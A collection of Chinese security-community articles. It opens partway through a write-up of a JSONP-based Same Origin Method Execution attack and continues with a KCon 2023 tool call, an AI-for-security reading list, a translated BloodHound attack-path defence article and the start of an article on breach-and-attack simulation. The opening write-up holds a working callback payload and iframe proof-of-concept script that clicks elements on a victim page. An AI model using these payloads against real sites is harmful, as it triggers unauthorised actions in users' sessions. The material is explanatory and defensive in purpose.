访问some1.html
some1.html指向了secret.html 会打开一个新的标签页some2.html 随后指向jsonp.php ，随后secret.html页面弹窗
梳理一下过程
第一步 先是访问了some1.html 这个页面会打开一个新的页面some2.html 那么some2.html的父页面就是some1.html
然后用<http://www.p1k.com/secret.html> 敏感页面 替换了some1.html页面
那么现在some2.html的父页面就是secret.html 但是some2.html 和
secret.html不同源，所以some2.html不能通过callback回调secret中的敏感函数，(这里如果同源
那么直接就让some2.html调用callback回调函数就可以)
那么如何解决some2.html和secret.html同源，并且可以调用callback回调函数的问题呢？
只要让some2.html指向一个和secret.html同源的页面，并且该页面中要有callback回调函数，就能解决问题了
构造第二步
第二步 some2.html
会指向<http://www.p1k.com/jsonp.php?callback=window.opener.document.body.firstElementChild.firstElementChild.click>
那么jsonp.php的父页面是不是就变成了secret.html呢 而且二者同源，都是在www.p1k.com这个web站点下
这里通过window.open window.opener来达到同源的目的，但是chrome firefox貌似都是默认禁止打开新的窗口，有一定的局限性
这里在放上柠檬师傅的构造方式 通过iframe 避免了打开新窗口的局限性
<iframe src="https://www.someattack.com/Playground/" name=b></iframe>
<iframe name=a></iframe>
<script>
window.frames[0].open('https://www.someattack.com/Playground/','a');
setTimeout(
function(){
window.frames[1].location.href = 'https://www.someattack.com/Playground/ColorPicker.php?callback=document.body.firstElementChild.lastElementChild.lastElementChild.lastElementChild.previousSibling.previousSibling.lastElementChild.click'
}
,1000);
</script>
#### 修复
把回调函数加入到白名单
注册回调函数
参考链接
<https://www.cnblogs.com/dowinning/archive/2012/04/19/json-jsonp-jquery.html>
<https://www.k0rz3n.com/2018/06/05/%E7%94%B1%E6%B5%85%E5%85%A5%E6%B7%B1%E7%90%86%E8%A7%A3JSONP%E5%B9%B6%E6%8B%93%E5%B1%95/>
<https://paper.seebug.org/452/#_3> | 社区文章 |
# KCon 2023兵器谱招募开启！以「兵器」会友，热血相聚！
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2023第十二届 KCon大会已启动，[ **
_议题招募正在火热进行中_**](http://mp.weixin.qq.com/s?__biz=MzIzOTAwNzc1OQ==&mid=2651136173&idx=1&sn=37a8cc36379a10d5710f01167b77d875&chksm=f2c121cdc5b6a8dbf3119df807bd6999df9318988f8358e4370a76b21000d16c96d10587eb53&scene=21#wechat_redirect)
** _。_** （点击查看）与此同时， **兵器谱召集也正式开启！** 我们现诚邀众安全研究员踊跃展示「神兵利器」，以「兵器」会友，逐鹿网络江湖。
**「器」既为容纳物品之物，也引申为才华。** 高效工具的使用则能够让众多大佬的网安征程如虎添翼。
近日GPT-4 发布，在中外科技圈刷屏。这款既能看懂文字、也能看懂图片的AI大模型在不断进化，各行各业都陷入兴奋与焦虑中。
对此，技术人员的感知更为明显。工具的进化能引起行业的变革，网安领域也是如此。
我国的网络安全自动化工具正在迅速发展，已经涌现出一批网络安全自动化工具，如安全信息和事件管理（SIEM）、网络漏洞扫描器、入侵检测系统（IDS）、网络防火墙等。
有了这些「神兵利器」的加持，可以自动化执行网络安全任务，提高安全性，减少人工干预，降低运营成本。
然而，中国网络安全自动化工具也面临着一些挑战，比如技术、数据、人员等方面还有不足。网络安全从业人员应该积极关注、应用和评估网络安全自动化工具，了解最新的自动化工具和技术趋势，把握行业发展的脉搏。
KCon黑客大会一直聚焦当下新进、热门的攻防研究方向与技术，用前沿的技术引领网安未来变革。为了鼓励国内安全自动化工具的发展，展示更多黑客及安全人员们的安全自动化研究成果，自2016年起，KCon黑客大会便引入「兵器谱」展示环节。
在过去几届 KCon 黑客大会，已有 **60**
余件「安全神兵利器」受到诸多观众的观摩与试用，从信息收集扫描、资产测绘到流量控制……覆盖到多个层面和维度，并获得媒体朋友与诸多观众的广泛关注。
**KCon 2023「兵器谱」现诚邀众安全研究员携「神兵利器」前往 KCon 现场，以“兵器”会友，逐鹿网络江湖，在诸多黑客面前展示您的成果～**
**欢迎大家踊跃报名！！！**
**兵器谱招募相关事宜公布如下：**
**_兵器谱要求：_**
● 任何基于个人开发的，实用新颖的安全工具均可参与报名；
● 参展工具可以是在线平台或者是独立工具形式，不限于命令行或者 GUI 工具，但不接受概念性非实用或者纯想法的工具，要求至少有 Demo；
● 鼓励开源或者已经发布项目，鼓励相关项目事先准备完善的使用手册或说明。
**_参展收益：_**
● 免费获得在 KCon 2023上展示自己工具与平台的机会，秀出你的网安神兵；
●将获得在 KCon 2023官网、公众号及现场的展示与推荐宣传；
● 将获得 KCon 颁布的「安全兵器谱神兵」证书；
●加入 KCon VIP 圈子（包括历届演讲者、培训师、顾问等），结识圈内牛人大咖。
**_申请及展示流程：_**
● 点击文末「二维码」或「阅读原文」在线申报；
● 由 KCon 审核组对申报项目进行审核；
● 发送审核通知，参加 KCon 2023进行现场展示。(无论您的议题是否被选中，我们都会在评审结束后反馈您审核结果。)
**_注意事项：_**
● 拒绝任何纯商业性质项目，拒绝硬件盒子形式项目；
●拒绝与演示项目无关的其他产品的宣传彩页等材料（允许现场赠送与演示项目相关周边等）；
● 演示现场将会提供显示设备，为了安全起见请自备网络；
●相关展示安排请听从现场工作人员的引导，现场任何问题可以请求工作人员协助；
●我们会在审核通过后进行电话、邮件等方式确认；
●如有任何疑问，均可与我们联系：KCon会务组邮箱→[email protected]
**长按二维码在线申报**
报名链接：<https://www.wenjuan.com/s/UZBZJvnOsk/#>
_* 所有相关会议解释权归KCon会务组所有_ | 社区文章 |
本篇文章主要结合自己的亲身经历和体会表达一下对AI for Security的看法，整体态度偏消极。
## 0x01 背景
本段将由大到小从国家、网上公开资料、项目三个方面说明智能化安全对抗时代的来临。
正如有时候觉得学得好不如嫁得好，在网络安全方面有时也是学得好不如运气好跟上了历史的进程。网络战早已被美军纳入作战体系，现如今中美关系对抗愈加激烈，随之而来的可能是成规模的网络对抗，从当前看来，AI技术比较适合大幅度提升网络对抗能力，所以智能化的网络对抗技术可能得到国家级的重点推进。笔者跟踪了几年来网上关于智能化安全的一些研究和进展，发现几年前大家重点研究的是AI安全检测，仅仅是弱智能化的安全防护，远达不到对抗的烈度，现如今随着对抗样本等对抗技术的火热，智能化安全对抗越来越得到学术界研究者的关注，无论是算法领域研究者，还是安全领域研究者。按照时间线，我经历的几个项目主题分别是：防御、反制、进攻、对抗，对抗烈度明显增加，这也许正验证着开头分析过的国家面临的安全对抗问题，相较于传统对抗手段，智能化的安全对抗技术显得不可或缺。
## 0x02 智能化安全对抗
AI和安全之间的关系可分为四点：
* 应用安全
* 用AI来做应用安全防护
* 用AI来攻击应用
* AI本身安全
* (用AI)攻击AI(模型、系统、框架)
* AI模型防护
AI是手段，目标是安全，包括应用安全和AI安全。所以是AI for Application and AI Security，即AI for
Security。
从应用安全的角度来说，用AI来做应用安全防护，比如做WAF或入侵检测，属于基础安全，做反欺诈检测，属于业务安全；用AI来攻击应用，比如用AI来自动化漏洞挖掘，属于系统安全，用AI来攻击验证码，属于业务安全；而从AI本身安全来说，(用AI)攻击AI，比如用对抗样本攻击AI模型，属于AI模型安全，用数据污染的手段攻击AI模型，属于AI数据安全；AI模型防护，比如对抗对抗样本和对抗数据污染，比较小众。
四者相辅相成，假如我们在防守位，正遭遇外界的攻击，包括传统攻击和AI攻击，如果我们用AI来做应用安全防护，对手可能采用对抗样本来攻击我们的AI，那么我们就要对AI模型进行防护，也就是对抗对抗样本。假如我们在攻击位，之前的过程颠倒即可。总的来说，攻防就是一个动态博弈的过程。
## 0x03 学术界和工业界前沿智能化安全对抗
学术界研究者近几年比较关注对抗样本等智能化对抗技术，在四大顶会上也不断发表了系列关于机器学习和安全对抗的文章，有传统的机器学习安全检测文章，也有机器学习模型本身安全性对抗的文章，比如11月28日在湖北武汉举办的第八届全国网络与信息安全防护峰会(XDef2018安全峰会)第二天的议题中，来自中科院信工所和浙江大学的两位博士生展示了他们的研究成果：“恶魔音乐”攻击智能语音系统和DEEPSEC：面向深度学习模型的安全性评估系统，两项成果都是关于机器学习的安全对抗，分别发表在全球四大安全顶会中的Usenix
Security 2018和IEEE S&P
2019，代表着学术界最新的研究进展。可以看出学术界的研究点开始转向了关于机器学习的对抗性技术研究。前几天去参加的XDef2018会议，对阿里巴巴集团安全部资深算法专家周涛博士分享的议题《机器学习还是统计模型：大数据安全分析应用实战》很感兴趣，可能代表着工业界对AI
for
Security的理解和做法，可能由于需求导致出发点不同，该议题重点在于防：AI安全检测和抵抗机器学习流量。AI作为一种手段，可以降维打击传统攻击，抵抗同级的AI攻击，但是要在实际场景中大规模应用还需要做大量工作，现在AI还只是弱智能化，适合加以利用做辅助决策。分享的内容都是主流的做法，所以我想工业界最新的成果大多不会公开，现在随着学术流高学历人才不断加入互联网公司，从而学术工程化，所以工业界的实力也应该是天花板。这就可能造成一个问题，我们容易得到并且消化的智能化安全对抗技术的资料都是价值过剩的资料。比如学术界研究的智能化对抗性技术都是偏研究性质的论文，实际的工程化可能较难，并且学术界可能也不会太关注工程化，对许多人来说，要吸收学术界前沿知识的门槛很高，对于大公司的尖端人才来说，可能再加以研究再工程化，成果当然不会公开。所以对于一般人来说，很难获取一手的学术界和工业界的智能化对抗技术，并且很难做到前沿技术工程化。
我们现在容易获取的资料主要集中在是AI安全检测方面，大部分文章都在自娱自乐，反反复复换汤不换药，都是同样的套路，未加以优化，质量低，只适合做做实验，很少在实际的生产环境下测试，效果未加以验证。
## 0x04 我的AI for Security 学习笔记
针对上面分析到的问题，我筛选整理了一份安全场景、基于AI的安全算法和安全数据分析学习资料，希望对AI for Security感兴趣的朋友们有所帮助。
# AI-for-Security-Learning
安全场景、基于AI的安全算法和安全数据分析学习笔记（工程类学习笔记，不包含论文、书籍、视频等，不花里胡哨嘻嘻哈哈）
项目地址：<https://github.com/404notf0und/AI-for-Security-Learning>
最近更新日期为：2018/12/2
同步更新于：[404 Not Found：AI for Security](http://www.4o4notfound.org)
目录：
* 防护篇
* 使用AI保护应用
* 恶意软件和代码
* 恶意流量检测
* 域名安全检测
* 业务安全检测
* Web安全检测
* URL异常检测
* XSS检测
* Web攻击多分类检测
* Webshell检测
* Other
* 杂项
* WindowsRDP检测
* PowerShell检测
* 用户行为(UBA)检测
* 弱口令检测
* 安全运营
* (使用AI)保护AI(框架、数据、模型、系统)
* 对抗篇
* 使用AI攻击应用
* (使用AI)攻击AI(框架、数据、模型、系统)
* 攻击AI框架
* 攻击AI模型
# 防护篇
## 使用AI保护应用
### 恶意软件和代码
* [深度学习在恶意软件检测中的应用](https://xz.aliyun.com/t/2447)
* [恶意软件与数据分析](https://iami.xyz/AliSEC3/)
* [利用机器学习进行恶意代码分类](http://drops.xmd5.com/static/drops/tips-8151.html)
* [用机器学习检测Android恶意代码](http://drops.xmd5.com/static/drops/mobile-13428.html)
* [Malware Detection in Executables Using Neural Networks](https://devblogs.nvidia.com/malware-detection-neural-networks/)
* [基于深度学习的恶意样本行为检测(含源码)](https://www.freebuf.com/articles/system/182566.html)
### 恶意流量检测
* [利用机器学习检测HTTP恶意外连流量](https://www.freebuf.com/column/170483.html)
### 域名安全检测
* [使用fasttext进行DGA检测](https://iami.xyz/DGA-Detect/)
* [使用CNN检测DNS隧道](https://github.com/BoneLee/dns_tunnel_dectect_with_CNN)
* [机器学习与威胁情报的融合：一种基于AI检测恶意域名的方法](https://www.freebuf.com/articles/es/187451.html)
### 业务安全检测
* [基于设备指纹的风控建模以及机器学习的尝试](https://xz.aliyun.com/t/2801)
* [如何在安全风控中评估和量化机器学习有效性](https://xz.aliyun.com/t/2951)
* [人工智能反欺诈三部曲——特征工程](https://www.anquanke.com/post/id/85741)
### Web安全检测
### Web安全之URL异常检测
* [基于机器学习的web异常检测](https://www.freebuf.com/articles/web/126543.html)
* [基于大数据和机器学习的Web异常参数检测系统Demo实现](https://www.freebuf.com/articles/web/134334.html)
* [基于机器学习的web应用防火墙](https://github.com/faizann24/Fwaf-Machine-Learning-driven-Web-Application-Firewall)
* [LSTM识别恶意HTTP请求](https://www.cdxy.me/?p=775)
* [基于URL异常检测的机器学习模型mini部署](http://4o4notfound.org/index.php/archives/84/)
* [我的AI安全检测学习笔记（一）](http://4o4notfound.org/index.php/archives/127/)
### Web安全之XSS检测
* [机器学习识别XSS实践](https://www.cdxy.me/?p=773)
* [使用深度学习检测XSS](http://webber.tech/posts/%E4%BD%BF%E7%94%A8%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0%E6%A3%80%E6%B5%8BXSS/)
* [使用深度学习检测XSS(续)](http://webber.tech/posts/%E4%BD%BF%E7%94%A8%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0%E6%A3%80%E6%B5%8BXSS%28%E7%BB%AD%29/)
### Web安全之攻击多分类检测
* [基于机器学习的WEB攻击分类检测模型](https://www.freebuf.com/news/184687.html)
* [基于机器学习的攻击检测系统](https://www.freebuf.com/column/189981.html)
### Web安全之Webshell检测
* [基于机器学习的分布式webshell检测系统-特征工程（1）](https://www.s0nnet.com/archives/fshell-feature-1)
* [深度学习PHP webshell查杀引擎demo](https://www.cdxy.me/?p=788)
* [使用机器学习识别WebShell](https://github.com/lcatro/WebShell-Detect-By-Machine-Learning)
* [基于机器学习的分布式Webshell检测系统](https://github.com/Lingerhk/fshell)
* [GitChat · 安全 | 基于机器学习的 Webshell 发现技术探索](http://blog.csdn.net/GitChat/article/details/77932384?locationNum=4&fps=1)
* [刘焱： Webshell 发现技术实战解析](http://gitbook.cn/books/5964d154cc597d3e0c08667c/index.html)
* [安普诺张涛：再谈webshell检测](http://www.cnetsec.com/article/22593.html)
* [新开始:webshell的检测](https://iami.xyz/New-Begin-For-Nothing/)
* [基于机器学习的WebShell检测方法与实现(上)](https://www.freebuf.com/articles/web/181169.html)
### Web安全之其他
* [Web安全检测中机器学习的经验之谈](https://iami.xyz/ML-IN-Webshell-Detection-Advantages-And-Disadvantages/)
### 杂项
* [机器学习在WindowsRDP版本和后门检测上的应用](https://www.anquanke.com/post/id/157175)
* [用机器学习检测恶意PowerShell](https://xz.aliyun.com/t/2437)
* [机器学习算法在用户行为检测(UBA)领域的应用](http://dearcharles.cn/2017/11/11/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0%E7%AE%97%E6%B3%95%E5%9C%A8%E7%94%A8%E6%88%B7%E8%A1%8C%E4%B8%BA%E6%A3%80%E6%B5%8B-UBA-%E9%A2%86%E5%9F%9F%E7%9A%84%E5%BA%94%E7%94%A8/)
* [利用机器学习和规则实现弱口令检测](https://manning23.github.io/2018/10/12/%E5%88%A9%E7%94%A8%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0%E5%92%8C%E8%A7%84%E5%88%99%E5%AE%9E%E7%8E%B0%E5%BC%B1%E5%8F%A3%E4%BB%A4%E6%A3%80%E6%B5%8B/)
* [解决机器学习和安全运营之间的最后一公里问题](https://www.anquanke.com/post/id/163637)
## 保护AI
* [如何利用AI对抗“数据污染”和”数据中毒“？](https://www.anquanke.com/post/id/150653)
* [对抗数据中毒--机器学习在阿里巴巴网络安全的应用](https://www.leiphone.com/news/201806/rYrfwtaeCNohEf0D.html)
# 对抗篇
## 使用AI攻击应用
* [AI与Android漏洞挖掘的那些事儿](https://www.zybuluo.com/qinyun/note/957067)
* [AI与安全的恩怨情仇五部曲「1」Misuse AI](https://www.zuozuovera.com/archives/1565/)
* [一种基于机器学习的自动化鱼叉式网络钓鱼思路](https://www.freebuf.com/articles/web/132811.html)
## 攻击AI
### 攻击AI框架
* [深度学习框架中的魔鬼——探究人工智能系统中的安全问题](https://www.anquanke.com/post/id/86989)
### 攻击AI模型
* [安全领域中机器学习的对抗和博弈](http://bindog.github.io/blog/2016/11/13/game-playing-with-ml-in-security/)
* [基础攻防场景下的AI对抗样本初探](https://www.cdxy.me/?p=798)
* [机器学习在安全攻防场景的应用与分析](https://www.freebuf.com/articles/neopoints/152457.html)
* [使用生成对抗网络(GAN)生成DGA](http://webber.tech/posts/%E4%BD%BF%E7%94%A8%E7%94%9F%E6%88%90%E5%AF%B9%E6%8A%97%E7%BD%91%E7%BB%9C%28GAN%29%E7%94%9F%E6%88%90DGA/)
* [详解如何使用Keras实现Wassertein GAN](https://mp.weixin.qq.com/s/F2gBP23LCEF72QDlugbBZQ)
* [Is attacking machine learning easier than defending it?](http://www.cleverhans.io/security/privacy/ml/2017/02/15/why-attacking-machine-learning-is-easier-than-defending-it.html)
* [对深度学习的逃逸攻击 ——探究人工智能系统中的安全盲区](https://www.anquanke.com/post/id/87037)
## 0x05 对现状的个人理解
从上面我收集的资料来看，我觉得智能化安全对抗技术的第一点困境是目前易工程化的还主要集中在AI安全检测方面这种弱智能化安全对抗技术，但是大规模应用还是较难，还存在相当多的问题，尤其是深度学习。从场景来说，安全领域的场景非常复杂，各不相同，想找到通用的方法论解决所有问题怕是天方夜谭，所以需要对每种小场景结合机器学习技术具体处理，这就涉及到大量的人力财力和物力；从数据来说，就算不牵扯复杂的安全场景，安全数据的同构化也是一项挑战，李飞飞教授（是犹他大学的李飞飞，好像现在在阿里，不是斯坦福的李飞飞）发表在CCS的研究成果：DeepLog，可以解决这个问题；从模型来看，不考虑模型效果，机器学习和深度学习训练的模型的可解释性还是较弱，学术界已经开始尝试突破深度学习的可解释性问题，希望可以看见曙光。智能化安全对抗技术的第二点困境是AI本身的安全对抗这种相对高级的技术，它的前沿研究一般集中在学术界，要进行学术成果转化的门槛很高，需要资深的安全算法专家充当一个衔接，这类人才很稀少，需要发的了顶会，写的了代码，就算转化成功了，也只是达到了目前AI安全检测经历的这个阶段，大规模决策应用还是较难。总的来说，连目前相对容易做的AI安全检测大规模应用都还存在问题，更何况智能化安全对抗技术了。但是形势不等人啊，智能化安全对抗已经来了，然而技术还没准备好。也许是因为在同一个环境太久，接触到的资源比较局限，所以限制了自己的视野，所以希望年后能找实习历练一下，让机器学习真正的在安全场景中落地。
## 0x06 Reference
Machine Learning Blog:
<https://plushunter.github.io>
<http://phoebepan.cn>
<http://scarletpan.github.io>
<http://www.jeyzhang.com>
Machine Learning+Security Blog:
<http://webber.tech/>
<http://bindog.github.io>
<https://www.cdxy.me>
<https://iami.xyz>
<https://www.zuozuovera.com/>
<https://www.cnblogs.com/LittleHann> | 社区文章 |
# 新型弹性防御技术解析（上）
|
##### 译文声明
本文是翻译文章，文章原作者 Andy Robbins，文章来源：posts.specterops.io
原文地址：<https://posts.specterops.io/introducing-the-adversary-resilience-methodology-part-one-e38e06ffd604>
译文仅供参考，具体内容表达以及含义原文为准。
### 传送门：[新型弹性防御技术解析（下）](https://www.anquanke.com/post/id/99794)
> ### 写在前面的话
>
>
> 这篇文章是本系列的上集，本文主要讨论的是关于敌对弹性防御技术的高级策略。在本系列的下集中，我们会将本文所介绍的理论技术付诸于实践，并介绍详细的技术实现细节。
## 背景和介绍
在DEFCON 24黑客大会上，我和Will Schroeder以及Rohan
Vazarkar共同发布了BloodHound【GitHub传送门】。从那时开始，BloodHound就已经被很多渗透测试人员以及红队组织所采用，而且社区也有专门的BloodHound论坛。如果你不熟悉BloodHound的话，可以先看看这篇介绍BloodHound的【文章】，或者直接观看我们的DEFCON演讲。但是之后我才发现，BloodHound对于攻击者来说也是一款非常强大的工具。
在这篇文章中，我们将跟大家讨论当前企业在保护自己活动目录环境时所面临的一些问题。接下来，我们还会告诉大家如何利用BloodHound未被开发的新功能来更有效地实现活动目录，这种方法具有高弹性等特点，并且能够抵御绝大部分攻击者的攻击。
## 企业环境安全响应的必要性
随着时间的推移，每一个活动目录环境都在变得更加复杂，因为其中涉及到复杂的Web用户权限以及用户行为。而攻击者常常可以利用这种复杂性，并利用目标账户来实施攻击。而很多企业也发现自己陷入了一种看似不可避免的安全补救循环之中，很多组织在受到攻击之后，都会提出相同的问题：他们是如何实现攻击的？接下来，组织可能会进行详细、彻底且漫长的调查，并获取到一份攻击调查报告，而研究人员会在报告中详细描述攻击者是如何一步一步入侵他们系统的。
下面给出一份样本报告：“一名用户受到了钓鱼攻击，而该用户拥有企业网络系统的本地管理员权限。攻击者窃取了内置的本地管理员密码，而网络中每一个系统都使用的是这个密码。攻击者从网络系统中找到了一个已经登录了Domain
Admin账号的系统，然后利用Mimikatz从该系统中窃取了Domain Admin的凭证。”
随后，报告中还会根据调查研究的结果给出相应的建议：
这些建议没有任何问题，任何组织都应该这样做，但是任何一个在企业安全圈里混了很久的人都会知道，这些建议在实践中其实存在很多问题：
1. 终端用户的安全意识需要培训：无论你说多少次，总会有人会点击那些他们所能看到的链接。
2. 对本地管理员组的用户身份进行有效审计其实是很困难的，原因如下：本地管理员组分析工具功能不足，当本地管理员组新增成员时缺少警告提示，以及给大量用户提供了本地管理员权限等等。
3. 在共享本地管理员权限账号的密码时，LAPS是一种有效的解决方案，但是从我们红队角度来看，大多数公司网络中都会有一些需要排除的主机。
4. Credential Guard是一种缓解凭证窃取的有效措施，但是至少要运行Windows 10，而大多数组织的计算机运行的仍然是Windows 7。
实际上，就算你可以完美地部署上述策略建议，那么当你一不小心遭受攻击时，攻击研究报告可能就会是这样的：“一名用户的密码被攻击者成功猜解。攻击者连接到了企业VPN，这里没有部署多因素身份验证。攻击者使用高权限服务账号登录进了系统，攻击者向服务账号所运行的进程注入了恶意代码，而这个服务账号拥有‘添加成员’权限，可以在Domain
Admin组中添加用户。“
而报告给出的相应建议如下：
在现实场景中，就算你部署了各种各样的安全防护措施，你也无法“堵上“所有的攻击路径。我们可以采用各种安全措施，但攻击者仍然会想办法成功入侵你的系统。这样一来，企业似乎陷入了一种无限循环之中，因为他们要不停地响应攻击者的攻击：
## BloodHound的功能以及限制
一般来说，红队调查报告中会给用户介绍攻击者的攻击路径，而这些攻击路径中往往都包括横向渗透以及通过活动目录实现提权。而BloodHound的攻击路径非常丰富，其中包括凭证窃取、本地管理员提权以及安全对象控制等等。
下面给出的是一个简单的样本：KSperling是主机Desktop21的管理员，在Desktop21上登录了反病毒用户，而这个用户为Domain
Admin。从攻击者的角度来看，他们可以利用KSperling用户登录Desktop21，然后使用Mimikatz来窃取反病毒用户的密码。
针对Domain Admin组的最短攻击路径图如下所示：
这里我们只给出了指向Domain
Admin的最短攻击路径，当然了，攻击者也可以通过这种方式来禁用或删除用户账号，或者使用下列语句在Neo4j控制台上删除节点：
`MATCH (u:User {name:’[[email protected]](mailto:[email protected])’}))
DETACH DELETE u`
## 弹性应对方法
任何好的方法都需要有明确的目标，我们的弹性方法目标非常简单：
1. 找出攻击者最有可能使用的所有攻击路径，并抢在攻击者之前去执行这些攻击路径。
2. 显著减少攻击路径的数量。
3. 对于我们无法消除的攻击路径，我们要想办法防止/缓解攻击。
4. 维护一个高弹性的活动目录，用于抵御凭证窃取以及对象控制攻击。
我们主要通过下列四个阶段来实现：
### 第一阶段：枚举攻击路径
第一阶段的目标就是要收集下列信息：
1. 从所有加入的域中的系统里收集本地管理员组信息；
2. 用户会话的位置；
3. 从所有安全AD对象中手机ACE，包括用户、组和域对象；
4. 活动目录域的信任对象；
这一步可以使用SharpHound来完成，下载地址如下：【传送门】
关于SharpHound的详细信息请参考【这篇文章】。
### 第二阶段：分析攻击路径
弹性技术的作用就是减少活动目录（AD）的攻击面，而BloodHound允许我们对任意节点的攻击路径进行分析。为了方便演示，我们选择最常见且任何组织都想要实现的目标：减少Domain
Admin用户账号的攻击路径。首先，我们要收集一些跟Domain Admin相关的计算机以及用户信息。
目前，分析过程需要手动完成，而且比较繁琐，之后我们会自动化这个过程。
接下来，我们评估整个企业网络所拥有的攻击路径。比如说，下图显示的是企业中所有系统的漏洞情况，这个简单的网络有五台计算机，按照拥有漏洞的严重程度排序：
我们可以利用BloodHound数据来生成类似的图表，但这里我们要显示的是如果攻击者登录了其中一个系统，那么他还能入侵多少台计算机。下面这个简单的网络中有五台计算机，攻击路径会影响每一个系统，如果攻击者入侵了下面其中一台计算机（拥有本地管理员权限，并且内置本地管理员账号密码都一样），那么上面的四排计算机都会受到牵连。
在我们的样本数据库中，真实的图表如下。其中，攻击路径涉及到企业中超过12000台计算机
## 第三阶段：弹性假设生成
在样本数据库中，我们发现很多计算机都登录了Domain Admin，数量跟域中的计算机总数几乎相同。这是一种很常见的问题，一般来说，我们会限制Domain
Admin或引入域控制器系统。
一般的假设为：如果我们采取下列措施，那么只有5%的用户和5%的电脑能够访问Domain Admin用户-限制Domain Admin只能在域控制器中登录。
下图显示的是在非域控制器系统中登陆的DA图：
接下来，我们就要想办法把这些会话（安全边际）从图中移除。我们可以直接在途中模拟出修改后的情况，下图显示的是企业网络中原本的攻击路径：
修改后的情况如下，绿色部分是已经移除的攻击路径：
在BloodHound样本数据库中，我们可以重新分析这份数据，并生成指向DA的新的最短攻击路径图：
下图显示的是域控制器中拥有本地管理员权限的安全组：
那么现在，我们就要在刚才的假设中加上一条：从域控制器中移除不必要的本地管理员权限！
修改之后的企业环境攻击路径分析图表如下：
修改后的攻击路径可视化图如下：
大家可以看到，绿色部分的面积增大了，意味着我们消除了上千条攻击路径。，不过剩下的蓝色区域仍然是可行的攻击路径。
## 第四阶段：修复处理优先级
最后一个阶段就是对第三阶段所发现的问题进行优先级排序，我们认为这项技术可以帮助企业有效地维护活动目录，而本技术所提供的高弹性特点可以有效抵御很多基于权限的攻击。简而言之，我们要尽可能多地找出攻击路径，并想办法消除它们的影响。下图显示的是企业环境下的攻击路径可视化数据图：
经过了四轮修复之后，攻击路径统计如下：
## 总结
这篇文章是本系列的上集，本文主要讨论的是关于敌对弹性防御技术的高级策略。在本系列的下集中，我们会将本文所介绍的理论技术付诸于实践，并介绍详细的技术实现细节，敬请期待。 | 社区文章 |
# BAS那点事儿
>
> 笔者iiusky之前的工作有涉及到BAS相关的工作内容，借此机会也收集和了解了很多BAS相关的内容，了解到国内很多人不了解BAS，以及对于BAS涉及较少，逐写出此篇文章来普及BAS相关知识。如文中有错误或描述不准确的地方，还望大家一起讨论指正（sky#03sec.com）。
## 什么是BAS
### 前言
在近些年来，得益于国家大力推进安全领域的一些法律法规和各种规定条款，不少企业的整体安全能力有很大提升，包括但不限于采购了很多安全控制设备，或花重金招兵买马，但是在很多情况下，有不少企业采购了安全设备，没有进行过升级，或者部署的位置有问题，导致了很多类似这样的问题：
* “我买了安全控制设备了啊，怎么他们渗透测试还能攻击进来？”
* “安全部门怎么感觉天天啥事没有，就知道找开发的麻烦？”
* “听领导说安全最近没什么产出啊，会不会他们要被裁掉？”
* “安全看的很简单啊，天天就看看日志，然后划划水就领工资了！”
* “这垃圾安全控制设备为什么黑客都攻击进来了连个告警也没有？”
* “又要向领导汇报安全工作进度了，这些指标数据不太好弄啊……”
* ………………
尤其是在某些企业，遭到了APT攻击、勒索病毒、挖矿病毒的侵入，安全团队只能在事后去进行分析清理，但是很多APT组织或者勒索病毒、挖矿病毒，很可能已经国内外一些安全厂商将其分析完毕并向社区推送了相关的威胁情报信息，又比如某个APT组织被某个厂商爆出来后，那么在第一时间，只有该厂商的安全控制设备规则已经准备就绪，其他厂商也会及时跟进，然后推送给商业用户进行升级，升级完成后，虽然厂商说已经支持检测或防御，但是安全团队很难去验证这一点逻辑，或许只能通过扫描器进行部分验证，这时候就可以了解下最近几年国外大范围流行BAS技术，它可以根据用户实际情况，模拟相关的所有攻击流程，或者根据一些最新的可靠的威胁情报，自动化在当前网络环境中模拟攻击，以此来印证安全控制设备是否已经支持防御或监测该类型的攻击，在国外很多大型公司，都已经中常态化的使用BAS技术来辅佐安全团队，这可以可以从侧面印证了BAS技术确实可以实实在在的解决一些在安全行业的痛点，而不是新瓶装旧酒。
### 简介
BAS，全称为`Breach and Attack
Simulation`，中文直译过来是入侵和攻击模拟，该技术主打的是可以发现当前网络中的攻击路径或者漏洞，类似于连续的自动化渗透测试，但是区别于自动化渗透测试的单一性，该技术能在进行测试漏洞的同时，还可以验证相关安全控制设备的策略有效性。在大部分情况下，BAS可以理解为“对当前网络所部署的安全控制设备进行有效性验证”，该有效性验证包括但不限于以下几点：
* 针对最新的一些漏洞，验证所部署的安全控制设备是否能防御或检测到。
* 针对最新的攻击手法，验证所部署的安全控制设备是否能防御或检测到。
* 针对安全控制设备升级后，验证其安全控制设备是否能真实防御或检测到相关攻击。
* 针对一些精准的威胁情报，如针对新爆出有关APT组织的TTPs或者IoCs，所部署的安全控制设备是否能防御或检测到。
* 针对APT组织或黑客组织的攻击手法进行链路模拟，验证所部署的安全控制设备是否能防御、检测、识别到。
* ……
BAS平台在除了可以对当前网络所部署的安全控制设备进行有效性验证外，另一个特性应该是可持续的有效性验证，所谓的可持续有效性验证，可以理解为在部署好或者规划好预期的模拟路径后，还要支持周期性的进行有效性验证，BAS平台输出的验证结果应可作为定期安全评估报告中的一部分，且带有相关的修复建议，其目的应为辅助运营人员、管理层、决策层快速简单的识别到当前网络中的安全短板。也可以在不同控制类型安全设备升级后，对于某些攻击是否能进行防御或检测的有效性验证。
## BAS跑道上的一些国际同行
### AttackIQ
#### 简介
AttackIQ[^attackiq_info]是一家总部位于美国的公司，也是市场上BAS首批解决方案之一，成立于2013年，AttackIQ截止目前平台具有115个评估方案以及3271个剧本，这些剧本和评估方案从模拟APT组织攻击到勒索病毒挖矿都有覆盖，其技术路径是围绕ATT&CK框架的战术进行覆盖的，也有来自于US-Alert等其他情报来源的剧本覆盖，基本上可以满足国外政府或企业的大部分安全需求。AttackIQ平台使用者也支持根据教程开发适用于自己的剧本，并且可以直接上传后就可以直接下发任务进行测试。AttackIQ也有很多免费的资源，包括但不限于AttackIQ学院、公开演讲、论坛等资源，有兴趣的可以深入进行下了解。
#### 技术栈
AttackIQ使用的技术栈为golang+python3，其剧本使用Python3编写，Agent控制端使用Golang编写。
#### 相关截图
### Safebreach
#### 简介
